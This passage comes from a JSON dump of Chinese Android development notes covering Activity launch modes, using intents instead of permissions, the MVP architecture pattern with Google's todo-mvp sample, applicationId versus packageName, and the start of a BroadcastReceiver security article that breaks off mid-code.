Y`了。在上面的`AndroidManifest.xml`文件中，没有配置`MainActivity`和`SubActivity`的`taskAffinity`属性，\n于是它们的`taskAffinity`属性值就默认为父标签`application`的`taskAffinity`属性值，这里，标签`application`的`taskAffinity`也没有配置，于是它们就默认为包名。                               \n总的来说：`singleTask`的结论与`android:taskAffinity`相关:    　　           \n    - 设置了`singleTask`启动模式的`Activity`，它在启动的时候，会先在系统中查找属性值`affinity`等于它的属性值`taskAffinity`的任务栈的存在；如果存在这样的任务栈，它就会在这个任务栈中启动，否则就会在新任务栈中启动。\n\t因此，如果我们想要设置了`singleTask`启动模式的`Activity`在新的任务栈中启动，就要为它设置一个独立的`taskAffinity`属性值。以`A`启动`B`来说当`A`和`B`的`taskAffinity`相同时：第一次创建`B`的实例时，并不会启动新的`task`，\n\t而是直接将`B`添加到`A`所在的`task`；否则，将`B`所在`task`中位于`B`之上的全部`Activity`都删除，然后跳转到`B`中。\n    - 如果设置了`singleTask`启动模式的`Activity`不是在新的任务中启动时，它会在已有的任务中查看是否已经存在相应的`Activity`实例，如果存在，就会把位于这个`Activity`实例上面的`Activity`全部结束掉，\n\t即最终这个Activity实例会位于任务的堆栈顶端中。以`A`启动`B`来说,当`A`和`B`的`taskAffinity`不同时：第一次创建`B`的实例时，会启动新的`task`，然后将`B`添加到新建的`task`中；否则，将`B`所在`task`中位于`B`之上的全部`Activity`都删除，然后跳转到`B`中。\n- `singleInstance`\n顾名思义，是单一实例的意思，即任意时刻只允许存在唯一的`Activity`实例，而且该`Activity`所在的`task`不能容纳除该`Activity`之外的其他`Activity`实例！               \n它与`singleTask`有相同之处，也有不同之处。          \n相同之处：任意时刻，最多只允许存在一个实例。            \n不同之处：\n    - `singleTask`受`android:taskAffinity`属性的影响，而`singleInstance`不受`android:taskAffinity`的影响。 \n    - `singleTask`所在的`task`中能有其它的`Activity`，而`singleInstance`的`task`中不能有其他`Activity`。     \n    - 当跳转到`singleTask`类型的`Activity`，并且该`Activity`实例已经存在时，会删除该`Activity`所在`task`中位于该`Activity`之上的全部`Activity`实例；而跳转到`singleInstance`类型的`Activity`，并且该`Activity`已经存在时，\n\t不需要删除其他`Activity`，因为它所在的`task`只有该`Activity`唯一一个`Activity`实例。\n\n    \n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/Android开发不申请权限来使用对应功能.md",
    "content": "Android开发不申请权限来使用对应功能\n===\n\n从用户角度来说很难获取到正确的`android`权限。通常你只需要做一些很基础的事(例如编辑一个联系人)但实际你申请的权限却远远比这更强大(例如可以获取到所有的联系人明细等)。\n\n这样能很容易的理解到用户会怀疑到你的应用。如果你的应用不是开源的，那他们就没有方法来验证你会不会下载所有的联系人数据并上传到服务器。及时你去解释为什么需要这个权限，但是人们不会相信你。原来我会选择不去使用这些敏感的权限来防止用户产生不信任。(当然很多应用他们申请权限只是为了后台获取你的联系人数据上传- -!以及之前被爆的某宝使用摄像头拍照的问题)\n\n这就是说，有一件事在困扰着我，**如何能在做一些操作时不去申请权限。**\n\n打个比方说:`android.permission.CALL_PHONE`这个权限。你需要它来在应用中拨打电话，是吗？这就是你怎么去实现拨号的吗？ \n```java\nIntent intent = new Intent(Intent.ACTION_CALL);\nintent.setData(Uri.parse(\"tel:1234567890\"))\nstartActivity(intent);\n```\n错！，你通过这段代码需要该权限的原因是因为你可以在任何时间在不需要用户操作的情况下打电话。也就是说如果我的应用申请了这个权限，我可以在你不知情的情况下每天凌晨三点去拨打骚扰电话。\n\n正确的方式是使用`ACTION_VIEW`或者`ACTION_DIAL`:    \n```java\nIntent intent = new Intent(Intent.ACTION_DIAL);\nintent.setData(Uri.parse(\"tel:1234567890\"))\nstartActivity(intent);\n```\n\n这个问题的完美解决方案就是不需要申请权限了。原因就是你不是直接拨号，而是用指定的号码调起拨号器，仍然需要用户点击”拨号”来开始打电话。老实的说，这样让人感觉更好。\n\n简单的说就是如果我想要的操作不是让用户在应用内点击某个按钮就直接开始拨打电话，而是让用户点击在应用内点击某个按钮是我们去调起拨号程序，并且显示指定号码，让用户在拨号器中点击拨号后再开始拨打电话。这样的话我们就完全不用申请拨号权限了。\n\n另一个例子: 我想获取某一个联系人的号码，你可能会想这需要申请获取所有联系人的权限。这是错的！。\n```java\nIntent intent = new Intent(Intent.ACTION_PICK);\nintent.setType(StructuredPostal.CONTENT_TYPE);\nstartActivityForResult(intent, 1);\n```\n我们可以使用上面的代码，来启动联系人管理器，让用户来选择某一个联系人。这样不仅是不需要申请任何权限，也不需要提供任何联系人相关的`UI`。这样也能完全保证你选择联系人时的体验。\n\n\n`Android`系统最酷的部分之一就是`Intent`系统，这意味着我不需要自己来实现所有的东西。应用可以注册处理它所擅长的指定数据，像电话号码、短信或者联系人。如果这些都要自己在一个应用中去实现，那这将会是很大的工作量，也会让应用变得臃肿。\n\n`Android`系统的另一个优势就是你可以使用其他应用申请的权限，而不用自己申请。这样才保证了上面的情况。拨号器需要申请拨打电话的权限，我只需要一个能调起拨号器的`Intent`就好了。用户信任拨号器拨打电话，而不是我们的应用。他们无论如何都宁愿使用系统的拨号器。\n\n写这篇文章的意义是**在你想要申请一个权限的时候，你需要至少看看[Intent的官方文档](https://developer.android.com/reference/android/content/Intent.html)看能否请求另外一个应用来帮我们做这些操作。**如果想要深入的研究，可以学习下[关于权限的详细介绍](https://developer.android.com/guide/topics/security/permissions.html)，这里面包含了很多精细的权限。\n\n使用更少的权限可以不但可以让用户更加信任你，而且可以让用户有一个更好的体验，因为他们仍然在使用他们所期望的应用。\n\n1. 遗憾的是，不是一个真实的号码。\n2. 不幸的是，`Intent`系统的属性也建立了[可能会被滥用的漏洞](http://css.csail.mit.edu/6.858/2012/projects/ocderby-dennisw-kcasteel.pdf)，但你也不会写一个滥用的应用，是吗？\n\n\n- (译)[感谢Dan Lew](http://blog.danlew.net/2014/11/26/i-dont-need-your-permission/)\n\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/Android开发中的MVP模式详解.md",
    "content": "Android开发中的MVP模式详解\n===\n\n[MVC、MVP、MVVM介绍][1]\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/android_mvp.jpg?raw=true)\n\n在`Android`开发中，如果不注重架构的话，`Activity`类就会变得愈发庞大。这是因为在`Android`开发中`View`和其他的线程可以共存于`Activity`内。那最大的问题是什么呢？ 其实就是`Activity`中同时存在业务逻辑和`UI`逻辑。这导致增加了单元测试和维护的成本。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/activity_is_god.png?raw=true)\n        \n这就是为什么要清晰架构的原因之一。不仅是因为`Activity`类变得臃肿，也是其他的一些问题，例如`Activity`和`Fragment`相结合时的生命周期、数据绑定等等。   \n\n### MVP简介\n\n`MVP(Model,View,Presenter)`      \n\n- `View`：负责处理用户时间和视图展现。在`Android`中就可能是`Activity`或者`Fragment`。\n- `Model`： 负责数据访问。数据可以是从接口或者本地数据库中获取。\n- `Presenter`: 负责连接`View`和`Model`。\n\n用一句话来说:`MVP`其实就是面向接口编程，`V`实现接口，`P`使用接口。\n\n清晰的架构:    \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/mvp_a.png?raw=true)\n\n\n举个栗子:\n在`Android Studio`中新建一个`Activity`，系统提供了`LoginActivity`，直接用它是极好的。    \n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/loginactivity.png?raw=true\" width=\"50%\" height=\"50%\" />\n\n不得不说，`Material Design`的效果真是美美哒！\n\n好，那我们就用用户登录页来按照`MVP`的模式实现一下:     \n\n- M: 很显然Model应该是`User`类。\n- V: `View`就是`LoginActivity`。\n- P: P那我们一会就创建一个`LoginPresenter`类。\n\n齐了，那接下来就详细分析下他们这三部分:   \n\n- `User`: 应该有`email`, `password`, `boolean login(email, password)`。\n- `LoginActivity`:点击登录应该要出`loading`页。登录成功后要进入下一个页面。如果登录失败应该弹`toast`提示。那就需要`void showLoading()`，`void hideLoading()`，`void showErrorTip()`,`void doLoginSuccess()`这四个方法。\n- `LoginPresenter`:这是`Model`和`View`的桥梁。他需要做的处理业务逻辑，直接与`Model`打交道，然后将`UI`的逻辑交给`LoginActivity`处理。\n那怎么做呢？ 按照我上面总结的那一句话，、`MVP`其实就是面向接口编程，`V`实现接口，`P`使用接口。很显然我们需要提供一个接口。那就新建一个`ILoginView`的接口。这里面有哪些方法呢？ 当然是上面我们在分析`LoginActiity`时提出的那四个方法。这样`LoginActivity`直接实现`ILoginView`接口就好。\n\n\n开始做:   \n\n- 先把`Model`做好吧，创建`User`类。  \n\n    ```java\n    public class User {\n        private String email;\n        private String password;\n        public User(String email, String password) {\n            this.email = email;\n            this.password = password;\n        }\n    \n        public boolean login() {\n            // do login request..\n            return true;\n        }\n    }\n    ```\n\n- 创建`ILoginView`接口，定义登录所需要的`ui`逻辑。    \n\n    ```java\n    public interface ILoginView {\n        void showLoading();\n        void hideLoading();\n        void showErrorTip();\n        void doLoginSuccess();\n    }\n    ```\n\n- 创建`LoginPresenter`类，使用`ILoginView`接口，那该类主要有什么功能呢？ 它主要是处理业务逻辑的，\n    对于登录的话，当然是用户在`UI`页面输入邮箱和密码，然后`Presenter`去开线程、请求接口。然后得到登录结果再去让`UI`显示对应的视图。那自然就是有一个`void login(String email, String passowrd)`的方法了  \n\n    ```java\n    public class LoginPresenter {\n        private ILoginView mLoginView;\n    \n        public LoginPresenter(ILoginView loginView) {\n            mLoginView = loginView;\n        }\n    \n        public void login(String email, String password) {\n            if (TextUtils.isEmpty(email) || TextUtils.isEmpty(password)) {\n                //\n                mLoginView.showErrorTip();\n                return;\n            }\n            mLoginView.showLoading();\n            User user = new User(email, password);\n    \n            // do network request....\n            // ....\n            onSuccess() {\n                boolean login = user.login();\n                if (login) {\n                    mLoginView.doLoginSuccess();\n                } else {\n                    mLoginView.showErrorTip();\n                }\n                mLoginView.hideLoading();\n            }\n    \n            onFailde() {\n                mLoginView.showErrorTip();\n                mLoginView.hideLoading();\n            }\n        }\n    }       \n    ```\n- 创建`LoginActivity`，实现`ILoginView`的接口，然后内部调用`LoginPresenter`来处理业务逻辑。\n\n    ```java\n    public class LoginActivity extends AppCompatActivity implements ILoginView {\n        private LoginPresenter mLoginPresenter;\n    \n        private AutoCompleteTextView mEmailView;\n        private EditText mPasswordView;\n        private View mProgressView;\n        private View mLoginButton;\n    \n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_login);\n            mEmailView = (AutoCompleteTextView) findViewById(R.id.email);\n            mPasswordView = (EditText) findViewById(R.id.password);\n            mLoginButton = findViewById(R.id.email_sign_in_button);\n            mProgressView = findViewById(R.id.login_progress);\n    \n            mLoginPresenter = new LoginPresenter(this);\n    \n            mLoginButton.setOnClickListener(new View.OnClickListener() {\n                @Override\n                public void onClick(View v) {\n                    mLoginPresenter.login(mEmailView.getText().toString().trim(), mPasswordView.getText().toString().trim());\n                }\n            });\n        }\n    \n        @Override\n        public void showLoading() {\n            mProgressView.setVisibility(View.VISIBLE);\n        }\n    \n        @Override\n        public void hideLoading() {\n            mProgressView.setVisibility(View.GONE);\n        }\n    \n        @Override\n        public void showErrorTip() {\n            Toast.makeText(this, \"login faled\", Toast.LENGTH_SHORT).show();\n        }\n    \n        @Override\n        public void doLoginSuccess() {\n            Toast.makeText(this, \"login success\", Toast.LENGTH_SHORT).show();\n        }\n    }\n    ```\n\n---\n\n\n上面只是抛砖引玉。`MVP`的优点十分明显，就是代码解耦、可以让逻辑清晰，但是同样它也会有缺点，它的缺点就是项目的复杂程度会增加，项目中会多出很多类。\n之前很多人都在讨论该如何去正确的设计使用`MVP`来避免它的缺点，众说纷纭，很多人讨论的你死我活。直到`Google`发布了`MVP架构蓝图`，大家才意识到这才是规范。     \n\n项目地址:[android-architecture](https://github.com/googlesamples/android-architecture)\n`Google`将该项目命名为`Android`的架构蓝图，我想从名字上已可以看穿一切。\n\n在它的官方介绍中是这样说的:   \n\n> The Android framework offers a lot of flexibility when it comes to defining how to organize and architect an Android app. This freedom, whilst very valuable, can also result in apps with large classes, inconsistent naming and architectures (or lack of) that can make testing, maintaining and extending difficult.\n\n> Android Architecture Blueprints is meant to demonstrate possible ways to help with these common problems. In this project we offer the same application implemented using different architectural concepts and tools.\n\n> You can use these samples as a reference or as a starting point for creating your own apps. The focus here is on code structure, architecture, testing and maintainability. However, bear in mind that there are many ways to build apps with these architectures and tools, depending on your priorities, so these shouldn't be considered canonical examples. The UI is deliberately kept simple.\n\n\n\n已完成的示例:  \n\n- todo-mvp/ - Basic Model-View-Presenter architecture.\n- todo-mvp-loaders/ - Based on todo-mvp, fetches data using Loaders.\n- todo-mvp-databinding/ - Based on todo-mvp, uses the Data Binding Library.\n- todo-mvp-clean/ - Based on todo-mvp, uses concepts from Clean Architecture.\n- todo-mvp-dagger/ - Based on todo-mvp, uses Dagger2 for Dependency Injection\n- todo-mvp-contentproviders/ - Based on todo-mvp-loaders, fetches data using Loaders and uses Content Providers\n- todo-mvp-rxjava/ - Based on todo-mvp, uses RxJava for concurrency and data layer abstraction.\n\n\n我们接下来就用`todo-mvp`来进行分析，这个应用非常简单，主要有以下几个功能:     \n\n- 列表页:展示所有的`todo`项   \n- 添加页:添加`todo`项\n- 详情页:查看`todo`项的详情\n- 统计页:查看当前所有已完成`todo`及未完成项的统计数据     \n\n代码并不多:   \n\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/google_mvp.png?raw=true\" width=\"50%\" height=\"50%\" />\n\n功能也比较简单:    \n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/google_todo_main.png?raw=true\" width=\"40%\" height=\"40%\" />    <img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/google_todp_add.png?raw=true\" width=\"40%\" height=\"40%\" />\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/google_todo_list.png?raw=true\" width=\"40%\" height=\"40%\" />          <img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/google_todo_delete.png?raw=true\" width=\"40%\" height=\"40%\" />\n\n我们先从两个`Base`类开始看，分别是`BaseView`以及`BasePresenter`类。 \n\n`BaseView`类:   \n\n```java\npublic interface BaseView<T> {\n\n    void setPresenter(T presenter);\n\n}\n```\n`BaseView`中的`setPresenter()`是将`Presenter`的实例传入到`View`中。    \n`BasePresenter`类:   \n```java\npublic interface BasePresenter {\n\n    void start();\n\n}\n```\n`BasePresenter`中只有一个`start()`方法，从名字上我们就能看出他的作用。 \n\n接下来继续看一下项目的入口`Activity`，`TaskDetailActivity`的实现: \n```java\npublic class TaskDetailActivity extends AppCompatActivity {\n\n    public static final String EXTRA_TASK_ID = \"TASK_ID\";\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n\n        setContentView(R.layout.taskdetail_act);\n\n        // Set up the toolbar.\n        Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);\n        setSupportActionBar(toolbar);\n        ActionBar ab = getSupportActionBar();\n        ab.setDisplayHomeAsUpEnabled(true);\n        ab.setDisplayShowHomeEnabled(true);\n\n        // Get the requested task id\n        String taskId = getIntent().getStringExtra(EXTRA_TASK_ID);\n        \n        TaskDetailFragment taskDetailFragment = (TaskDetailFragment) getSupportFragmentManager()\n                .findFragmentById(R.id.contentFrame);\n\n        if (taskDetailFragment == null) {\n            // 创建对应的Fragment\n            taskDetailFragment = TaskDetailFragment.newInstance(taskId);\n\n            ActivityUtils.addFragmentToActivity(getSupportFragmentManager(),\n                    taskDetailFragment, R.id.contentFrame);\n        }\n\n        // Create the presenter，因为Presenter是M和V的连接桥，所以在第二个参数中会传入TasksRepository\n        new TaskDetailPresenter(\n                taskId,\n                Injection.provideTasksRepository(getApplicationContext()),\n                taskDetailFragment);\n    }\n\n    @Override\n    public boolean onSupportNavigateUp() {\n        onBackPressed();\n        return true;\n    }\n}\n```\n\n可以看到这里`Activity`相当于一个管理类，里面控制着`MVP`中的`V`和`P`,上面的代码主要做了两部分:  \n\n- 创建对应的`Fragment`\n- 创建对应的`Presenter`\n\n这里分别看一下`TaskDetailFragment`和`TaskDetailPresenter`的源码:   \n```java\npublic class TaskDetailFragment extends Fragment implements TaskDetailContract.View {\n    private TaskDetailContract.Presenter mPresenter;\n\n    public static TaskDetailFragment newInstance(@Nullable String taskId) {\n        Bundle arguments = new Bundle();\n        arguments.putString(ARGUMENT_TASK_ID, taskId);\n        TaskDetailFragment fragment = new TaskDetailFragment();\n        fragment.setArguments(arguments);\n        return fragment;\n    }\n\n    @Override\n    public void onResume() {\n        super.onResume();\n        // 调用Presenter.start()方法\n        mPresenter.start();\n    }\n\n    @Nullable\n    @Override\n    public View onCreateView(LayoutInflater inflater, ViewGroup container,\n                             Bundle savedInstanceState) {\n        ....\n    }\n\n    @Override\n    public void setPresenter(@NonNull TaskDetailContract.Presenter presenter) {\n        // 将Prsenter传递给V中 \n        mPresenter = checkNotNull(presenter);\n    }\n\n    ....\n}\n```\n及\n```java\npublic class TaskDetailPresenter implements TaskDetailContract.Presenter {\n    private final TasksRepository mTasksRepository;\n\n    private final TaskDetailContract.View mTaskDetailView;\n\n    @Nullable\n    private String mTaskId;\n\n    // 把M和V传递进来\n    public TaskDetailPresenter(@Nullable String taskId,\n                               @NonNull TasksRepository tasksRepository,\n                               @NonNull TaskDetailContract.View taskDetailView) {\n        mTaskId = taskId;\n        mTasksRepository = checkNotNull(tasksRepository, \"tasksRepository cannot be null!\");\n        mTaskDetailView = checkNotNull(taskDetailView, \"taskDetailView cannot be null!\");\n        // 将该Presenter设置给V\n        mTaskDetailView.setPresenter(this);\n    }\n\n    @Override\n    public void start() {\n        // 调用获取数据的方法\n        openTask();\n    }\n    ....\n}\n```\n\n可以看到上面分别实现了`TaskDetailContract`类中的`Presenter`和`View`接口，而不是`BasePresenter`和`BaseView`中的接口，那这个`TaskDetailContract`类是什么呢？ \n```java\n/**\n * This specifies the contract between the view and the presenter.\n */\npublic interface TaskDetailContract {\n\n    interface View extends BaseView<Presenter> {\n\n        void setLoadingIndicator(boolean active);\n\n        void showMissingTask();\n\n        void hideTitle();\n\n        void showTitle(String title);\n\n        void hideDescription();\n\n        void showDescription(String description);\n\n        void showCompletionStatus(boolean complete);\n\n        void showEditTask(String taskId);\n\n        void showTaskDeleted();\n\n        void showTaskMarkedComplete();\n\n        void showTaskMarkedActive();\n\n        boolean isActive();\n    }\n\n    interface Presenter extends BasePresenter {\n\n        void editTask();\n\n        void deleteTask();\n\n        void completeTask();\n\n        void activateTask();\n    }\n}\n```\n按照上面描述的介绍可以看出通过这个连接类将`VP`联系到了一起，它统一管理`view`和`presenter`中的所有接口，这样比起分开写会更加清晰。\n\n分析完`VP`之后我们继续看一下`TaskDetailPresenter`类，因为`Presenter`是`MV`的桥梁。\n```java\npublic TaskDetailPresenter(@Nullable String taskId,\n                               @NonNull TasksRepository tasksRepository,\n                               @NonNull TaskDetailContract.View taskDetailView) {\n        mTaskId = taskId;\n        mTasksRepository = checkNotNull(tasksRepository, \"tasksRepository cannot be null!\");\n        mTaskDetailView = checkNotNull(taskDetailView, \"taskDetailView cannot be null!\");\n\n        mTaskDetailView.setPresenter(this);\n    }\n\n    @Override\n    public void start() {\n        openTask();\n    }\n\n    private void openTask() {\n        if (Strings.isNullOrEmpty(mTaskId)) {\n            mTaskDetailView.showMissingTask();\n            return;\n        }\n        // 控制V显示UI\n        mTaskDetailView.setLoadingIndicator(true);\n    // 通过M去获取数据\n        mTasksRepository.getTask(mTaskId, new TasksDataSource.GetTaskCallback() {\n            @Override\n            public void onTaskLoaded(Task task) {\n                // The view may not be able to handle UI updates anymore\n                if (!mTaskDetailView.isActive()) {\n                    return;\n                }\n                mTaskDetailView.setLoadingIndicator(false);\n                if (null == task) {\n                    mTaskDetailView.showMissingTask();\n                } else {\n                    showTask(task);\n                }\n            }\n\n            @Override\n            public void onDataNotAvailable() {\n                // The view may not be able to handle UI updates anymore\n                if (!mTaskDetailView.isActive()) {\n                    return;\n                }\n                mTaskDetailView.showMissingTask();\n            }\n        });\n    }\n\n```\n在它的构造函数中传入了一个`TasksRepository`，这个就是`Model`层。而在该`Presenter`中的`start()`方法回去调用获取数据的方法。   \n\n我们继续看一下`M`层`TasksRepository`的实现:    \n```java\n/**\n * Concrete implementation to load tasks from the data sources into a cache.\n * <p>\n * For simplicity, this implements a dumb synchronisation between locally persisted data and data\n * obtained from the server, by using the remote data source only if the local database doesn't\n * exist or is empty.\n */\npublic class TasksRepository implements TasksDataSource {\n    ....\n}\n```\n\n先看一下`TasksDataSource`接口:   \n\n```java\n/**\n * Main entry point for accessing tasks data.\n * <p>\n * For simplicity, only getTasks() and getTask() have callbacks. Consider adding callbacks to other\n * methods to inform the user of network/database errors or successful operations.\n * For example, when a new task is created, it's synchronously stored in cache but usually every\n * operation on database or network should be executed in a different thread.\n */\npublic interface TasksDataSource {\n\n    interface LoadTasksCallback {\n\n        void onTasksLoaded(List<Task> tasks);\n\n        void onDataNotAvailable();\n    }\n\n    interface GetTaskCallback {\n\n        void onTaskLoaded(Task task);\n\n        void onDataNotAvailable();\n    }\n\n    void getTasks(@NonNull LoadTasksCallback callback);\n\n    void getTask(@NonNull String taskId, @NonNull GetTaskCallback callback);\n\n    void saveTask(@NonNull Task task);\n\n    void completeTask(@NonNull Task task);\n\n    void completeTask(@NonNull String taskId);\n\n    void activateTask(@NonNull Task task);\n\n    void activateTask(@NonNull String taskId);\n\n    void clearCompletedTasks();\n\n    void refreshTasks();\n\n    void deleteAllTasks();\n\n    void deleteTask(@NonNull String taskId);\n}\n\n```\n\n可以看出`M`层被赋予了数据获取的功能，与之前我们写的`M`层只定义实体对象截然不同，数据的增删改查都是`M`层实现的。`Presenter`只需要调用`M`层的方法即可。这样`model、presenter、view`都只处理各自的任务，此种实现确实是单一职责最好的诠释。\n\n这里我们就以上面用到的`getTasks()`方法为例来介绍一下:   \n```java\npublic void getTask(@NonNull final String taskId, @NonNull final GetTaskCallback callback) {\n        checkNotNull(taskId);\n        checkNotNull(callback);\n        // 从缓存中获取数据\n        Task cachedTask = getTaskWithId(taskId);\n\n        // Respond immediately with cache if available\n        if (cachedTask != null) {\n            callback.onTaskLoaded(cachedTask);\n            return;\n        }\n\n        // Load from server/persisted if needed.\n\n        // Is the task in the local data source? If not, query the network.\n        mTasksLocalDataSource.getTask(taskId, new GetTaskCallback() {\n            @Override\n            public void onTaskLoaded(Task task) {\n                // Do in memory cache update to keep the app UI up to date\n                if (mCachedTasks == null) {\n                    mCachedTasks = new LinkedHashMap<>();\n                }\n                mCachedTasks.put(task.getId(), task);\n                callback.onTaskLoaded(task);\n            }\n\n            @Override\n            public void onDataNotAvailable() {\n                // 服务器的数据源\n                mTasksRemoteDataSource.getTask(taskId, new GetTaskCallback() {\n                    @Override\n                    public void onTaskLoaded(Task task) {\n                        // Do in memory cache update to keep the app UI up to date\n                        if (mCachedTasks == null) {\n                            mCachedTasks = new LinkedHashMap<>();\n                        }\n                        mCachedTasks.put(task.getId(), task);\n                        callback.onTaskLoaded(task);\n                    }\n\n                    @Override\n                    public void onDataNotAvailable() {\n                        callback.onDataNotAvailable();\n                    }\n                });\n            }\n        });\n    }\n```\n\n上面的注释说的非常明白了，这里就不去仔细看了。\n\n\n下面用一张图来总结一下:   \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/google_todo_mvp.png?raw=true)\n\n\n由于架构的引入，虽然代码量有了一定的上升，但是功能分离的非常清晰明确，而且每个部分都可以进行单独的测试，对于后期的扩展维护会更加简单容易。\n\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/JavaKnowledge/MVC%E4%B8%8EMVP%E5%8F%8AMVVM.md  \"MVC、MVP、MVVM介绍\"\n\n---\n\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/ApplicationId vs PackageName.md",
    "content": "ApplicationId vs PackageName\n===\n\n曾几何时，自从转入`Studio`阵营后就发现多了个`applicationId \"com.xx.xxx\"`，虽然知道肯定会有区别，但是我却没有仔细去看，只想着把它和`packageName`设置成相同即可(原谅我的懒惰- -!)。         \n\n直到今天在官网看`Gradle`使用时，终于忍不住要搞明白它俩的区别。         \n\n在`Android`官方文档中有一句是这样描述`applicationId`的:`applicationId : the effective packageName`，真是言简意赅，那既然`applicationId`是有效的包明了，`packageName`算啥？     \n\n所有`Android`应用都有一个包名。包名在设备上能唯一的标示一个应用，它在`Google Play`应用商店中也是唯一的。这就意味着一旦你使用一个包名发布应用后，你就永 远不能改变它的包名；如果你改了包名就会导致你的应用被认为是一个新的应用，并且已经使用你之前应用的用户将不会看到作为更新的新应用包。          \n\n之前的`Android Gradle`构建系统中，应用的包名是由你的`manifest`文件中的根元素中的`package`属性定义的:       \n \n`AndroidManifest.xml: `          \n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.example.my.app\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\" >\n```\n然而，这里定义的包也有第二个目的：就是被用来命名你的`R`资源类(以及解析任何与`Activities`相关的类名)的包。在上面的示例中，生成的`R`类就是`com.example.my.app.R`，所以如果你在其他的包中想引用资源，就需要导入`com.example.my.app.R`。      \n  \n伴随着新的`Android Gradle`构建系统，你可以很简单的为你的应用构建多个不同的版本；例如，你可以同时为你的应用构建一个免费版本和一个专业版(使用`flavors`)，并且他们应该在`Google Play`商店中有不同的包，这样才能让他们可以被单独安装和购买，同时安装两个，等等。同样的你也可能同时为你的应用构建`debug`版、`alpha`版和`beta`版(使用`build types`)，这些也可以同样使用不同的包名。    \n \n在这同时，你在代码中导入的`R`类必须一直保持一直；在为应用构建不同的版本时`.java`源文件都不应该发生变化。\n       \n因此,我们解耦了`package name`的两种用法:       \n\n- 在生成的`.apk`中的`manifest`文件中使用的最终的包名以及在你的设备和`Google Play`商店中用来标示你的包名叫做`application id`的值。\n- 在源代码中指向`R`类的包名以及在解析任何与`activity/service`注册相关的包名继续叫做`package name`。\n\n可以在`gradle`文件中像如下指定`application id`:  \n    \n`app/build.gradle:`         \n\n```\napply plugin: 'com.android.application'\n\nandroid {\n    compileSdkVersion 19\n    buildToolsVersion \"19.1\"\n\n    defaultConfig {\n        applicationId \"com.example.my.app\"\n        minSdkVersion 15\n        targetSdkVersion 19\n        versionCode 1\n        versionName \"1.0\"\n    }\n    ...\n```\n\n像之前一样，你需要在`Manifest`文件中指定你在代码中使用的`package name`，像上面`AndroidManifest.xml`的例子。        \n下面进入关键部分了:当你按照上面的方式做完后，这两个包就是相互独立的了。你现在可以很简单的重构你的代码-通过修改`Manifest`中的包名来修改在你的`activitise`和`services`中使用的包和在重构你在代码中的引用声明。这不会影响你应用的最终`id`，也就是在`Gradle`文件中的`applicationId`。       \n\n你可以通过以下`Gradle DSL`方法为应用的`flavors`和`build types`指定不同的`applicationId`:       \n\n`app/buid.gradle: `      \n\n```\nproductFlavors {\n    pro {\n        applicationId = \"com.example.my.pkg.pro\"\n    }\n    free {\n        applicationId = \"com.example.my.pkg.free\"\n    }\n}\n\nbuildTypes {\n    debug {\n        applicationIdSuffix \".debug\"\n    }\n}\n....\n```\n(在`Android Studio`中你也可以通过图形化的`Project Structure`的对话框来更改上面所有的配置)\n\n注意:为了兼容性，如果你在`build.gradle`文件中没有定义`applicationId` ，那`applicationId`就是与`AndroidManifest.xml`中配置的包名相同的默认值。在这种情况下，这两者显然脱不了干系，如果你试图重构代码中的包就将会导致同时会改变你应用程序的`id`！在`Android Studio`中新创建的项目都是同时指定他们俩。     \n\n注意2:`package name`必须在默认的`AndroidManifest.xml`文件中指定。如果有多个`manifest`文件(例如对每个`flavor`制定一个`manifest`或者每个`build type`制定一个`manifest`)时，`package name`是可选的，但是如果你指定的话，它必须与主`manifest`中指定的`pakcage`相同。\n\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/BroadcastReceiver安全问题.md",
    "content": "BroadcastReceiver安全问题\n===\n\n`BroadcastReceiver`设计的初衷是从全局考虑可以方便应用程序和系统、应用程序之间、应用程序内的通信，所以对单个应用程序而言`BroadcastReceiver`是存在安全性问题的(恶意程序脚本不断的去发送你所接收的广播)\n- 保证发送的广播要发送给指定的对象      \n    当应用程序发送某个广播时系统会将发送的`Intent`与系统中所有注册的`BroadcastReceiver`的`IntentFilter`进行匹配，若匹配成功则执行相应的`onReceive`函数。可以通过类似`sendBroadcast(Intent, String)`的接口在发送广播时指定接收者必须具备的`permission`或通过`Intent.setPackage`设置广播仅对某个程序有效。\n\n- 保证我接收到的广播室指定对象发送过来的    \n    当应用程序注册了某个广播时，即便设置了`IntentFilter`还是会接收到来自其他应用程序的广播进行匹配判断。对于动态注册的广播可以通过类似`registerReceiver(BroadcastReceiver, IntentFilter, String, android.os.Handler)`的接口指定发送者必须具备的`permission`，对于静态注册的广播可以通过`android:exported=\"false\"`属性表示接收者对外部应用程序不可用，即不接受来自外部的广播。\n\n`android.support.v4.content.LocalBroadcastManager`工具类，可以实现在自己的进程内进行局部广播发送与注册，使用它比直接通过sendBroadcast(Intent)发送系统全局广播有以下几个好处：\n- 因广播数据在本应用范围内传播，你不用担心隐私数据泄露的问题。\n- 不用担心别的应用伪造广播，造成安全隐患。\n- 相比在系统内发送全局广播，它更高效。\n\n```java\n LocalBroadcastManager mLocalBroadcastManager;  \n BroadcastReceiver mReceiver;  \n\n@Override\nprotected void 